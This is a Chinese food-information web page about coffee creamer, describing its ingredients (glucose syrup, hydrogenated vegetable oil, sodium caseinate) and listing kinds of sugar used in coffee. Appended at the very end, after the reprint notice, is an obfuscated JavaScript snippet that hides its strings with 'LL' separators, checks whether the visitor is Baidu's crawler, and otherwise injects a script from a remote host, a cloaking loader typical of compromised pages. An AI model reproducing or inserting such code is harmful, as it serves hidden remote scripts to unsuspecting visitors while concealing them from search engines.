當(dāng)前位置:首頁(yè) > 飲食 > 食物營(yíng)養(yǎng) > 正文

咖啡伴侶的作用

2017-07-06 23:15:38  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):咖啡伴侶是我們經(jīng)常聽(tīng)到的名詞,我們?cè)诤瓤Х鹊臅r(shí)候,往往用咖啡伴侶來(lái)搭配,這個(gè)世界真奇妙,一樣?xùn)|西就搭配一樣?xùn)|西是注定的,有咖啡的濃

咖啡伴侶是我們經(jīng)常聽(tīng)到的名詞,我們?cè)诤瓤Х鹊臅r(shí)候,往往用咖啡伴侶來(lái)搭配,這個(gè)世界真奇妙,一樣?xùn)|西就搭配一樣?xùn)|西是注定的,有咖啡的濃郁就有咖啡伴侶來(lái)陪伴,所以真的非常神奇,我們一直認(rèn)為咖啡伴侶是一件神奇的東西,咖啡伴侶其實(shí)是一種植脂末。下文我們來(lái)看看作為咖啡伴侶的植脂末有什么作用。

咖啡伴侶的作用當(dāng)然是為了搭配咖啡而來(lái)的,咖啡伴侶的作用在于可以改善咖啡的口感,咖啡伴侶還能讓營(yíng)養(yǎng)更加的均衡,咖啡伴侶能讓我們的咖啡喝起來(lái)有一種牛奶的感覺(jué)。所以一杯好的咖啡如果沒(méi)有咖啡伴侶的陪伴也是會(huì)很孤獨(dú)的。

目前,大家所熟悉的“咖啡伴侶”(俗稱“奶精”)主要成分為植脂末。是植脂末-植物油脂粉末的總稱,植脂末種類繁多、功能各異、應(yīng)用廣泛,其生產(chǎn)歷史可追溯至20世紀(jì)50年代,現(xiàn)在已廣泛應(yīng)用于烘焙食品配料、冷制食品配料、糖果配料、固體飲料配料。

咖啡中使用植脂末(奶精)作為咖啡伴侶,主要作用是改善口感,提供均衡營(yíng)養(yǎng),賦予產(chǎn)品“奶感”。它又是什么東西呢?配料上寫著:第一位成分是“葡萄糖漿”,也就是淀粉水解后產(chǎn)生的微帶甜味、又能讓溶液變濃的混合物。第二位成分是“氫化植物油”,也就是大豆油或菜籽油經(jīng)過(guò)人工催化加氫形成的一種半固態(tài)油脂。第三位成分是酪蛋白酸鈉,最后則是三類食品添加劑:穩(wěn)定劑、乳化劑和抗結(jié)劑。

除了咖啡,很難有一種東西可以和這么多情人和平共處,而相安無(wú)事。如果說(shuō),濃烈苦澀的黑咖啡是魅感的魔鬼,那么奶精和糖,就仿佛天使的羽翼,帶來(lái)接近天堂的甜美溫暖。 西方人稱奶精和糖為coffee-mate,而當(dāng)咖啡的口味愈來(lái)愈多樣,鮮奶油、巧克力、肉桂粉……等配料,也都成了咖啡館桌上的固定風(fēng)景,黑咖啡不再是忠實(shí)的伴侶,卻討好了更多挑剔的嘴。

咖啡與糖

方糖、砂糖、細(xì)粒冰糖、黑砂糖、咖啡糖……各種不同成分的甜味,構(gòu)筑成更豐富的咖啡味覺(jué)之旅。 你可以循著鐘愛(ài)的咖啡風(fēng)格,找到適合自己的甜度: 咖啡加糖的目的是要緩和苦味,而且根據(jù)糖的份量多寡,會(huì)創(chuàng)造出完全不同的味道。

1.糖粉: 它是屬于一種精制糖,沒(méi)有什么特殊味道,易于溶解,通常以5~8克的小包裝便于使用。價(jià)格較一般糖稍高些。

2.方糖: 為精制糖加水,而后將它凝固成塊狀。方糖保存很方便,且易溶解速度快。

3.白砂糖: 白砂糖亦屬精制糖,它是粗粒結(jié)晶固體,色白。市面多以8克小包裝以便每次使用。

4.黑砂糖: 這是一種褐色砂糖,有點(diǎn)焦味,普通用于愛(ài)爾蘭咖啡的調(diào)制。

5.冰糖: 呈透明結(jié)晶狀,甜味較淡,且不易溶解。通常已磨成細(xì)顆粒方便用于咖啡或加味茶等飲品。

6.咖啡糖: 專門用于咖啡的糖,為咖啡色的砂糖或方糖,與其它的糖比較,咖啡糖留在舌頭上的甜味更持久。

上文我們介紹了什么是咖啡伴侶,我們知道咖啡伴侶主要是一種植脂末,咖啡伴侶的功效和作用主要在于搭配咖啡,用了咖啡伴侶,我們的咖啡喝起來(lái)就更加的有口感,而且這種味道是有奶味的,咖啡伴侶還能起到均衡營(yíng)養(yǎng)的功效。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}